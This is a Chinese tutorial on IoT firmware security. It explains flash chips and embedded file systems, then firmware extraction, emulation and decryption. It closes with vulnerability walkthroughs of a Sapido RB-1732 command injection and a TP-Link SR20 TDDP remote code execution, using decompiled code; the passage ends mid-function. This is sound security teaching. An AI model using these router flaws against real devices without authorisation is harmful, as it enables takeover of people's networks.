硬件安全初探-理论入门

存储芯片

只读存储器ROM只能读取事先存储的数据,无法改变或删除。数据不会因电源关闭而消失,分为PROM、EPROM、EEPROM、FLASHROME。

可编程只读存储器PROM,可用专用编程器将数据写入,但只有一次写入机会,写入后无法修改,写入时出错则只能报废。

可擦除可编程只读存储器EPROM,可重复擦除和写入。其正面陶瓷封装上有个玻璃窗口,用紫外线照射窗口内部集成电路可擦除,也可用EPROM擦除器。老式计算机BIOS使用EPROM,擦除窗口用BIOS发行商、版本和声明标签覆盖。

电擦除可编程只读存储器EEPROM,通过电子信号修改内容,最小修改单位为字节。

快闪存储器FLASHROM(闪存),允许多次擦除写入,是EEPROM的一种,还可快速读取数据,常用于一般性资料存储,以及计算机和其他数字产品间交换信息。闪存分为NOR闪存和NAND闪存。NOR闪存的特点是芯片内执行XIP,这样应用程序可直接在闪存内运行,不必把代码读到系统RAM中。NOR闪存传输效率很高,但写入和擦除速率很低。NAND闪存提供极高的单元密度,即存储密度高,写入和擦除速度很快,但需要特殊系统接口进行管理。闪存保存信息不需要消耗电力,且与硬盘相比有更佳的抗震性,广泛应用于移动设备。

文件系统

SquashFS是一套供Linux内核使用的只读压缩文件系统,成本低。在使用NAND闪存作为存储介质的嵌入式设备中,使用SquashFS的前提是内核要支持MTD字符设备和块设备。SquashFS适用于长时间开机且对稳定性要求高的系统,物联网设备大多采用SquashFS。

JFFS2是一种基于闪存存储介质的日志文件系统。JFFS2在闪存介质上存在两种类型的结构,有jffs2_raw_inode和jffs2_raw_dirent。前置包含文件管理数据,后者描述文件在文件系统中的位置。真正的数据存储在jffs2_raw_inode节点后面,大部分管理数据都在系统挂载后建立的。这两种类型的结构有公共的文件头结构jffs2_unknown_node,该结构中有一个jint32_t类型的hdr_crc变量,代表文件头部中其他字段的CRC循环冗余校验值。JFFS2是一种日志结构的文件系统,不论电源以何种方式在何时停止供电,它都能保持数据完整性。当系统突然断电而重启时,JFFS2自动将系统恢复到断电前最后一个稳定状态,该稳定状态后发生的任何改变都无法恢复。JFFS2针对闪存设备提供掉电保护,使得用户可以安全地读写数据,无需数据因断点而造成损坏或丢失。

YAFFS2是目前唯一一个专门为NAND闪存设计的文件系统,采用类日志结构,结合NAND闪存特点来提供掉电保护机制,有效避免意外掉电对文件系统一致性和完整性的影响。YAFFS2用独立的日志文件来跟踪文件系统内容的变化。YAFFS2支持页面大小为2KB(大页)的NAND内存。

UBIFS无序区块镜像文件系统主要用在闪存设备中,与Linux任何传统文件系统Ext2、XFS、JFS等完全不同,是一类单独的文件系统。UBIFS通过无序区块镜像UBI子系统处理与MTD设备之间的交互。UBIFS支持回写,即修改后的文件不是立刻提交到闪存介质上,而是先将这些修改缓存起来,达到写入条件后再回写到闪存介质中。

CramFS文件系统是专门针对闪存设计的只读压缩的文件系统。系统需要访问某个位置的数据时,马上计算出该数据在CramFS中的位置,并将其解压到RAM中,通过内存访问获取数据。

文件系统提取

不同文件系统有不同的签名:

文件系统 签名
SquashFS sqsh、hsqs、sqlz、qshs、hsqt、shsq
YAFFS \x03\x00\x00\x00\x01、\x00\x00\x00\xFF\xFF
CramFS 0x28cd3d45
JFFS2 0x1985
MemFS owowowowowowowowo、wowowowowowow
ROMFS -rom1fs-\0
Ext2/Ext3 0xEF53

对于SquashFS,sqsh和hsqs分别表示标准大、小端文件系统,sqlz表示使用LZMA算法压缩过的大端文件系统,qshs时3.3版本使用LZMA压缩过的大端文件系统,hsqt时DD-WRT固件常用的小端文件系统,shsq时D-Link路由器常用的小端文件系统。LZMA时Defalt算法和LZ77算法改良优化后的压缩算法,DD-WRT是一个基于Linux的无线路由软件,可用于某些无线路由器的非商业第三方固件。

例如提取D-Link路由器中SquashFS文件系统,检索签名:

1
hexdump -C iot.bin | grep "sqsh\|hsqs\|sqlz\|qshs\|tqsh\|hsqt\|shsq"

这里在0x001d02a4处检索到hsqs,对应十进制1901220,提取:

1
dd if=iot.bin bs=1 skip=1901220 of=iot1

检查解压出来的文件系统是否正确:

1
file iot1

再提取出整个文件系统,提取的文件夹名为squashfs-root:

1
unsquashfs iot1

上面方法麻烦了,也可以用binwalk一把嗦:

1
binwalk -Me iot.bin

提取的文件夹名为_iot.bin.extracted,里面squashfs-root文件夹即为获取的文件系统。

文件系统分析

firmwalker可检查文件系统目录,找出包含passwd、pwd等敏感字符的文件,并输出到firmwalker.txt目录下。

1
./firmwalker.sh squashfs-root/

trommel比firmwalker收集到的信息能更多些,输出结果为./result.json,这个最好使建议用这个:

1
python3 trommel.py -p squashfs-root -o result.json -d ./

emba可对已提取的基于Linux的固件进行分析,识别具有较大威胁的固件文件,列出二进制危险函数,检索CVE漏洞库,将结果输出到“822log.log文件中”。

1
sudo ./emba.sh -l 822log.log -f squashfs-root/

FACT固件分析比较工具是一款具有Web界面的自动化固件测试平台,可自动分析固件并以图形的形式展示分析结果。

固件模拟

QEMU

安装QEMU:

1
sudo apt install qemu-system qemu-user-static bridge-utils

先得获取对应架构:

1
file ./bin/busybox #这里演示为32-bit MSB MIPS

物联网设备处理器架构主要有ARM和MIPS两种,其中mips为大端模式MIPS架构,mipsel为小端模式MIPS架构。在用户模式下使用QEMU进行固件模拟时,先将QEMU在/usr/bin目录下对应的二进制运行文件考到squashfs-root目录下:

1
cp $(which qemu-mips-static) ./

模拟运行固件中/bin/busybox:

1
sudo chroot ./ ./qemu-mips-static ./bin/busybox

上述为QEMU的用户模式模拟,下面是QEMU怎样在系统模式下模拟。此时需要为QEMU指定内核镜像、IDE硬盘镜像、内核参数,这些需要到Debian官网上下载,如这里32-bit MSB MIPS架构需要下载debian_wheezy_mips_standard.qcow2和vmlinux-3.2.0-4-4kc-malta俩文件。模拟之前应先在主机上配置虚拟网卡,供QEMU虚拟机与主机交互,命令如下:

1
2
3
sudo ip tuntap add dev tap0 mode tap user `whoami`
sudo ifconfig tap0 10.10.10.1/24
ifconfig tap0

启动命令:

1
sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0

算了也不知道为啥QEMU加上网卡参数就挂死了,不加能成功模拟但没法与主机交互。这小节先搁着。

FirmAE

千万得把Python给hold一下,这玩意apt滚到3.12后pip不让用了,啥安装脚本都库库报错。我找来了FirmAE安好的环境,大家各显神通吧。

1
2
3
4
5
6
7
8
9
blonet@blonet:~/桌面/FirmAE$ sudo ./run.sh --help #查看帮助
[sudo] blonet 的密码:
Usage: ./run.sh [mode]... [brand] [firmware|firmware_directory]
mode: use one option at once
-r, --run : run mode - run emulation (no quit)
-c, --check : check mode - check network reachable and web access (quit)
-a, --analyze : analyze mode - analyze vulnerability (quit)
-d, --debug : debug mode - debugging emulation (no quit)
-b, --boot : boot debug mode - kernel boot debugging using QEMU (no quit)

模拟执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
blonet@blonet:~/桌面/FirmAE$ sudo ./run.sh -r us-ac9v1 ./US_AC9V1.0BR_V15.03.2.10_multi_TD01.bin #-r后跟上厂商名 应该能随便写
[sudo] blonet 的密码:
[*] ./US_AC9V1.0BR_V15.03.2.10_multi_TD01.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] ./US_AC9V1.0BR_V15.03.2.10_multi_TD01.bin already succeed emulation!!!

[IID] 1
[MODE] run
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.1 true true 2.113973243 4.184737600 #一般卡在这儿 完全运行起来可能得几个小时

blonet@blonet:~/桌面/FirmAE$ sudo ./run.sh -r dlink ./2023.03.01-23.37_DIR_882_MT7621AT_4.0.1_nightly.bin
[*] ./2023.03.01-23.37_DIR_882_MT7621AT_4.0.1_nightly.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.46.5 (30-Dec-2021)
e2fsck 1.46.5 (30-Dec-2021)
[*] infer network start!!! #还可能卡在这儿 具体下面是啥我也不知道:(

Firmware Analysis Toolkit

这玩意儿安装脚本先更新Python,得注意一下了,要不装不上。

固件解密

大多数厂商可呢给你会对固件进行加密处理,这种情况下有三种情况。

第一种:设备固件在出厂时未加密也未包含任何解密程序。解密程序与未加密版本的新固件一起提供,此后发布的固件为加密固件。此时可获取解密程序来解密加密固件,然后进行更新。

第二种:设备固件在原始版本中进行了加密,厂商更改加密方案并发布一个未加密的新固件,其中包含新版本解密程序。更新固件前,先看新固件版本的发布通告,该通告只是用户在将固件升级到最新版本之前,需先升级到固件的一个中间版本,该中间版本为未加密的固件版本,通过该中间版本的固件进行性升级,可最终获取新版本加密固件的解密程序。

第三种:从网上下载的设备固件在原始版本中进行了加密,此时很难获得解密程序,只能用设备提取固件中文件系统。

当binwalk时发现无法提取文件系统,则查看熵值:

1
binwalk binwalk DIR852_FW100CNb09.bin -E

若恒定在1左右,可能对固件不同部分进行了加密。PHP文件一般存储在_DIR852_FW100CNb09.bin.extracted/squashfs-root/etc/templates/hnap/中。

实战

Sapido RB-1732 路由器命令执行漏洞

固件下载:https://pan.baidu.com/s/1Gj9RDlAQdCDiaLdLzQ2Aag?pwd=8381或https://share.weiyun.com/RjicYRKE。

Sapido是SAPIDO公司开发的一款家用路由器,其RB-1732系列的v2.0.43之前的固件版本存在命令执行漏洞。

材料:RB-1732_EN_v2.0.26.bin

先提取,可以看到文件系统为SquashFS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
blonet@blonet:~/桌面/CTF-Workbench$ binwalk RB-1732_TC_v2.0.43.bin -Me

Scan Time: 2024-10-16 19:27:28
Target File: /home/blonet/桌面/CTF-Workbench/RB-1732_TC_v2.0.43.bin
MD5 Checksum: 27b91f4216466031eaa7b039a7717b93
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
24207 0x5E8F LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3410896 bytes
1004185 0xF5299 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5705880 bytes, 1361 inodes, blocksize: 131072 bytes, created: 2038-02-10 09:21:04

...

Scan Time: 2024-10-16 19:27:29
Target File: /home/blonet/桌面/CTF-Workbench/_RB-1732_TC_v2.0.43.bin.extracted/5E8F
MD5 Checksum: cf81f813aa695140d701f8a042a1a610
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
1212600 0x1280B8 Certificate in DER format (x509 v3), header length: 4, sequence length: 31
2818464 0x2B01A0 Linux kernel version 2.6.30
2854064 0x2B8CB0 CRC32 polynomial table, little endian
2943479 0x2CE9F7 HTML document header
2943642 0x2CEA9A HTML document footer
3232608 0x315360 AES S-Box

该漏洞存在文件syscmd.asp中,那就搜一下:

1
2
blonet@blonet:~/桌面/CTF-Workbench$ find ./ -name "syscmd.asp"
./_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root/web/syscmd.asp

看到syscmd.asp中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<html>
<! Copyright (c) Realtek Semiconductor Corp., 2003. All Rights Reserved. ->
<head>
<meta http-equiv="Content-Type" content="text/html">
<title>System Command</title>
<script>
function saveClick(){
field = document.formSysCmd.sysCmd ;
if(field.value.indexOf("ping")==0 && field.value.indexOf("-c") < 0){
alert('please add "-c num" to ping command');
return false;
}
if(field.value == ""){
alert("Command can't be empty");
field.value = field.defaultValue;
field.focus();
return false ;
}
return true;
}
</script>
</head>

<body>
<blockquote>
<h2><font color="#0000FF">System Command</font></h2>


<form action=/goform/formSysCmd method=POST name="formSysCmd"> <!-- 漏洞点在/goform/formSysCmd -->
<table border=0 width="500" cellspacing=0 cellpadding=0>
<tr><font size=2>
This page can be used to run target system command.
</tr>
<tr><hr size=1 noshade align=top></tr>
<tr>
<td>System Command: </td>
<td><input type="text" name="sysCmd" value="" size="20" maxlength="50"></td>
<td> <input type="submit" value="Apply" name="apply" onClick='return saveClick()'></td>

</tr>
</table>
<input type="hidden" value="/syscmd.asp" name="submit-url">
</form>
<script language="JavaScript">

</script>

<textarea rows="15" name="msg" cols="80" wrap="virtual"><% sysCmdLog(); %></textarea>

<p>
<input type="button" value="Refresh" name="refresh" onClick="javascript: window.location.reload()">
<input type="button" value="Close" name="close" onClick="javascript: window.close()"></p>
</blockquote>
</font>
</body>

</html>

搜索formSysCmd漏洞点:

1
2
3
4
5
6
7
8
blonet@blonet:~/桌面/CTF-Workbench$ grep -r "formSysCmd"
grep: _RB-1732_TC_v2.0.43.bin.extracted/squashfs-root/bin/webs: 匹配到二进制文件
_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root/web/syscmd.asp: field = document.formSysCmd.sysCmd ;
_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root/web/syscmd.asp:<form action=/goform/formSysCmd method=POST name="formSysCmd">
_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root/web/obama.asp: field = document.formSysCmd.sysCmd ;
_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root/web/obama.asp:<form action=/goform/formSysCmd method=POST name="formSysCmd">
_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root/web/obama.asp: <form method="post" action="goform/formSysCmd" enctype="multipart/form-data" name="writefile">
_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root/web/obama.asp: <form action="/goform/formSysCmd" method=POST name="readfile">

发现有个webs二进制文件,跟进一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
int __fastcall formSysCmd(int a1)
{
int Var; // $s4
const char *v3; // $s1
_BYTE *v4; // $s5
int v5; // $s6
const char *v6; // $s3
_BYTE *v7; // $s7
int v8; // $v0
_DWORD *v9; // $s0
int v10; // $a0
const char *v11; // $a1
int v12; // $v0
int v13; // $s1
void (__fastcall *v14)(int, _DWORD *); // $t9
_BYTE *v15; // $a0
_BYTE *v16; // $a3
int v17; // $a0
int v18; // $v0
char v20[104]; // [sp+20h] [-68h] BYREF

Var = websGetVar(a1, "submit-url", &dword_47F498);
v3 = (const char *)websGetVar(a1, "sysCmd", &dword_47F498);
v4 = (_BYTE *)websGetVar(a1, "writeData", &dword_47F498);
v5 = websGetVar(a1, "filename", &dword_47F498);
v6 = (const char *)websGetVar(a1, "fpath", &dword_47F498);
v7 = (_BYTE *)websGetVar(a1, "readfile", &dword_47F498);
if ( *v3 )
{
snprintf(v20, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
system(v20); //在这里存在RCE
}
if ( *v4 )
{
strcpy(v20, v6);
strcat(v20, v5);
v8 = fopen(v20, "w");
v9 = (_DWORD *)v8;
if ( !v8 )
{
printf("Open %s fail.\n", v20);
v10 = a1;
v11 = (const char *)Var;
return websRedirect(v10, v11);
}
v13 = 0;
v12 = fileno(v8);
fchmod(v12, 511);
if ( *(int *)(a1 + 240) > 0 )
{
while ( 1 )
{
v14 = (void (__fastcall *)(int, _DWORD *))&fputc;
if ( !v9[13] )
break;
v15 = (_BYTE *)v9[4];
v14 = (void (__fastcall *)(int, _DWORD *))&_fputc_unlocked;
v16 = (_BYTE *)(*(_DWORD *)(a1 + 204) + v13);
if ( (unsigned int)v15 >= v9[7] )
{
v17 = (char)*v16;
LABEL_12:
v14(v17, v9);
goto LABEL_13;
}
*v15 = *v16;
v9[4] = v15 + 1;
LABEL_13:
if ( ++v13 >= *(_DWORD *)(a1 + 240) )
goto LABEL_14;
}
v17 = *(char *)(*(_DWORD *)(a1 + 204) + v13);
goto LABEL_12;
}
LABEL_14:
fclose(v9);
printf("Write to %s\n", v20);
strcpy(&writepath, v6);
}
if ( *v7 && (v18 = fopen(v6, "r")) != 0 )
{
fclose(v18);
sprintf(v20, "cat %s > /web/obama.dat", v6);
system(v20);
usleep(10000);
v10 = a1;
v11 = "/obama.dat";
}
else
{
v10 = a1;
v11 = (const char *)Var;
}
return websRedirect(v10, v11);
}

后台账密admin/admin。

下载地址:https://box.lenovo.com/l/8ufzWe。

TP-Link Smart Home Router简称SR20,是一款支持ZigBee和Z-Wave物联网协议,且可作为控制中枢Hub使用的触屏WiFi路由器。其运行的协议为TP-Link设备调试协议TDDP,后者为TP-Link公司的一个专有协议,运行在UDP的1040端口。该协议v1版本存在远程代码执行漏洞,用户可通过该漏洞在SR20路由器上以root权限执行任意命令。

解压,有删减:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
blonet@blonet:~/桌面/CTF-Workbench$ binwalk ./tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin -Me

Scan Time: 2024-10-16 20:04:54
Target File: /home/blonet/桌面/CTF-Workbench/tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
MD5 Checksum: 77ba786e31e77a14f669865ebe429e87
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
155672 0x26018 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 300028 bytes
233464 0x38FF8 TRX firmware header, little endian, image size: 1941504 bytes, CRC32: 0x2DAE9AF0, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
233492 0x39014 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4629600 bytes
1635467 0x18F48B StuffIt Deluxe Segment (data): f%
...
2174969 0x212FF9 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13061274 bytes, 2642 inodes, blocksize: 131072 bytes, created: 2018-05-19 04:25:38
15897446 0xF29366 CRC32 polynomial table, little endian
15901542 0xF2A366 CRC32 polynomial table, big endian
16336334 0xF945CE CRC32 polynomial table, little endian
16786550 0x1002476 Unix path: /var/log/database/onboarding_status
16907919 0x101FE8F PNG image, 80 x 80, 8-bit/color RGBA, non-interlaced
...

Scan Time: 2024-10-16 20:04:55
Target File: /home/blonet/桌面/CTF-Workbench/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/26018
MD5 Checksum: 553e40e02f73b6b88fb32d3afe4f00a7
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
264232 0x40828 Copyright string: "Copyright (C) 2000-2008 Broadcom Corporation."


Scan Time: 2024-10-16 20:04:55
Target File: /home/blonet/桌面/CTF-Workbench/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/39014
MD5 Checksum: c10e969334a47b84e2ed8ec15437d181
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
131072 0x20000 ASCII cpio archive (SVR4 with no CRC), file name: "/dev", file name length: "0x00000005", file size: "0x00000000"
131188 0x20074 ASCII cpio archive (SVR4 with no CRC), file name: "/dev/console", file name length: "0x0000000D", file size: "0x00000000"
131312 0x200F0 ASCII cpio archive (SVR4 with no CRC), file name: "/root", file name length: "0x00000006", file size: "0x00000000"
131428 0x20164 ASCII cpio archive (SVR4 with no CRC), file name: "TRAILER!!!", file name length: "0x0000000B", file size: "0x00000000"
212827 0x33F5B LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 64 bytes
1322353 0x142D71 Certificate in DER format (x509 v3), header length: 4, sequence length: 8195
1448245 0x161935 Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
1448365 0x1619AD Certificate in DER format (x509 v3), header length: 4, sequence length: 1288
1449129 0x161CA9 Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
2873801 0x2BD9C9 Certificate in DER format (x509 v3), header length: 4, sequence length: 5376
2960765 0x2D2D7D Certificate in DER format (x509 v3), header length: 4, sequence length: 1292
2960769 0x2D2D81 Certificate in DER format (x509 v3), header length: 4, sequence length: 1304
2960773 0x2D2D85 Certificate in DER format (x509 v3), header length: 4, sequence length: 1308
3357216 0x333A20 Linux kernel version 2.6.36
3420664 0x3431F8 CRC32 polynomial table, little endian
3471404 0x34F82C VxWorks symbol table, little endian, first entry: [type: initialized data, code address: 0xC03EAD54, symbol address: 0xFFFF0012]
3473524 0x350074 CRC32 polynomial table, little endian
3990320 0x3CE330 xz compressed data
4139540 0x3F2A14 Neighborly text, "NeighborSolicits/ipv6/xfrm6_mode_transport.c"
4139560 0x3F2A28 Neighborly text, "NeighborAdvertisementsnsport.c"
4141923 0x3F3363 Neighborly text, "neighbor %.2x%.2x.%pM lostrename link %s to %s"
4222961 0x406FF1 Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
4522544 0x450230 Certificate in DER format (x509 v3), header length: 4, sequence length: 17856
4523359 0x45055F LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 32 bytes


Scan Time: 2024-10-16 20:04:56
Target File: /home/blonet/桌面/CTF-Workbench/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/_39014.extracted/33F5B
MD5 Checksum: 3b5d3c7d207e37dceeedd301e35e2e58
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------


Scan Time: 2024-10-16 20:04:56
Target File: /home/blonet/桌面/CTF-Workbench/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/_39014.extracted/45055F
MD5 Checksum: 70bc8f4b72a86921468bf8e8441dce51
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------

TDDP v1版本不存在验证功能,向SR20的UDP 1040端口发送数据时,SR20接收并进行处理。若发送的数据的第二字节为0x31,SR20连接发送该请求的设备的TFTP服务并下载相应文件,然后用Lua解析器以root权限执行下载后的文件,造成远程代码执行漏洞。TDDP v2版本要求身份验证和对数据包载荷进行加密。

TDDP数据包格式:

1
2
3
4
5
6
7
|版本|类型|代码  |响应信息|
| 数据包长度 |
|数据包ID |子类型|保留 |
| 摘要 |
| 摘要 |
| 摘要 |
| 摘要 |

查找TDDP相关的二进制程序:

1
2
blonet@blonet:~/桌面/CTF-Workbench/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root$ find . -name "tddp"
./usr/bin/tddp

搜索字符串tddp,找到程序入口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int sub_936C()
{
_DWORD *v0; // r4
int optval; // [sp+Ch] [bp-B0h] BYREF
int v3; // [sp+10h] [bp-ACh] BYREF
struct timeval timeout; // [sp+14h] [bp-A8h] BYREF
fd_set readfds; // [sp+1Ch] [bp-A0h] BYREF
_DWORD *v6; // [sp+9Ch] [bp-20h] BYREF
int v7; // [sp+A0h] [bp-1Ch]
int nfds; // [sp+A4h] [bp-18h]
fd_set *p_readfds; // [sp+A8h] [bp-14h]
unsigned int i; // [sp+ACh] [bp-10h]

v6 = 0;
v3 = 1;
optval = 1;
printf("[%s():%d] tddp task start\n", "tddp_taskEntry", 151);
if ( !sub_16ACC(&v6)
&& !sub_16E5C(v6 + 9)
&& !setsockopt(v6[9], 1, 2, &optval, 4u)
&& !sub_16D68(v6[9], 1040)
&& !setsockopt(v6[9], 1, 6, &v3, 4u) )
{
v6[11] |= 2u;
v6[11] |= 4u;
v6[11] |= 8u;
v6[11] |= 0x10u;
v6[11] |= 0x20u;
v6[11] |= 0x1000u;
v6[11] |= 0x2000u;
v6[11] |= 0x4000u;
v6[11] |= 0x8000u;
v6[12] = 60;
v0 = v6;
v0[13] = sub_9340();
p_readfds = &readfds;
for ( i = 0; i <= 0x1F; ++i )
p_readfds->__fds_bits[i] = 0;
nfds = v6[9] + 1;
while ( 1 )
{
do
{
timeout.tv_sec = 600;
timeout.tv_usec = 0;
readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F);
v7 = select(nfds, &readfds, 0, 0, &timeout);
if ( sub_9340() - v6[13] > v6[12] )
v6[8] = 0;
}
while ( v7 == -1 );
if ( !v7 )
break;
if ( ((readfds.__fds_bits[v6[9] >> 5] >> (v6[9] & 0x1F)) & 1) != 0 )
sub_16418(v6); //这里对数据包进行解包
}
}
sub_16E0C(v6[9]);
sub_16C18(v6);
return printf("[%s():%d] tddp task exit\n", "tddp_taskEntry", 219);
}

查看解包函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
int __fastcall sub_16418(int *a1)
{
int v2; // r3
__int16 v3; // r2
char *v4; // r3
__int16 v5; // r2
char *v6; // r3
_BYTE *v7; // r3
int v8; // r3
size_t n; // [sp+10h] [bp-2Ch] BYREF
socklen_t addr_len; // [sp+14h] [bp-28h] BYREF
sockaddr addr; // [sp+18h] [bp-24h] BYREF
ssize_t v14; // [sp+28h] [bp-14h]
char *v15; // [sp+2Ch] [bp-10h]
unsigned __int8 *v16; // [sp+30h] [bp-Ch]
int v17; // [sp+34h] [bp-8h]

v17 = 0;
addr_len = 16;
n = 0;
memset((char *)a1 + 45083, 0, 0xAFC9u);
memset((char *)a1 + 82, 0, 0xAFC9u);
v16 = (unsigned __int8 *)a1 + 45083;
v15 = (char *)a1 + 82;
v14 = recvfrom(a1[9], (char *)a1 + 45083, 0xAFC8u, 0, &addr, &addr_len);
if ( v14 < 0 )
return sub_13018(-10106, "receive error");
sub_15458(a1);
a1[11] |= 1u;
v2 = *v16;
if ( v2 == 1 ) //判断是否为v1
{
if ( sub_15AD8(a1, &addr) )
{
a1[13] = sub_9340();
v17 = sub_15E74(a1, &n); //下一步操作
}
else
{
v17 = -10301;
*v15 = 1;
v15[1] = v16[1];
v15[2] = 2;
v15[3] = 8;
*((_DWORD *)v15 + 1) = htonl(0);
v5 = (v16[9] << 8) | v16[8];
v6 = v15;
v15[8] = v16[8];
v6[9] = HIBYTE(v5);
}
}
else if ( v2 == 2 )
{
if ( sub_15AD8(a1, &addr) )
{
a1[13] = sub_9340();
v17 = sub_15BB8(a1, &n);
}
else
{
v17 = -10301;
*v15 = 2;
v15[1] = v16[1];
v15[2] = 2;
v15[3] = 8;
*((_DWORD *)v15 + 1) = htonl(0);
v3 = (v16[9] << 8) | v16[8];
v4 = v15;
v15[8] = v16[8];
v4[9] = HIBYTE(v3);
sub_15830(a1, &n);
}
}
else
{
v15[3] = 7;
v7 = v15;
v15[4] = 0;
v7[5] = 0;
v7[6] = 0;
v7[7] = 0;
n = (((unsigned __int8)v15[7] << 24) | ((unsigned __int8)v15[6] << 16) | ((unsigned __int8)v15[5] << 8) | (unsigned __int8)v15[4])
+ 12;
}
if ( a1 )
v8 = a1[11] & 1;
else
v8 = 0;
if ( v8 && sendto(a1[9], (char *)a1 + 82, n, 0, &addr, 0x10u) == -1 )
return sub_13018(-10105, "tddp_parserHandler sendto error");
else
return v17;
}

跟进下一步操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
int __fastcall sub_15E74(int a1, _DWORD *a2)
{
__int16 v2; // r2
__int16 v3; // r2
int v7; // [sp+Ch] [bp-18h]
_BYTE *v8; // [sp+10h] [bp-14h]
int v9; // [sp+1Ch] [bp-8h]

v8 = (_BYTE *)(a1 + 45083);
v7 = a1 + 82;
*(_BYTE *)(a1 + 82) = 1;
switch ( *(_BYTE *)(a1 + 45084) ) //第二个字节
{
case 4:
printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", "tddp_parserVerOneOpt", 697);
v9 = sub_AC78(a1);
break;
case 6:
printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MAC\n", "tddp_parserVerOneOpt", 638);
v9 = sub_9944(a1);
break;
case 7:
printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TEST\n", "tddp_parserVerOneOpt", 648);
v9 = sub_ADDC(a1);
if ( !a1
|| (*(_DWORD *)(a1 + 44) & 4) == 0
|| (*(_DWORD *)(a1 + 44) & 8) == 0
|| (*(_DWORD *)(a1 + 44) & 0x10) == 0 )
{
*(_DWORD *)(a1 + 44) &= ~2u;
}
*(_DWORD *)(a1 + 32) = 0;
*(_DWORD *)(a1 + 44) &= ~1u;
break;
case 8:
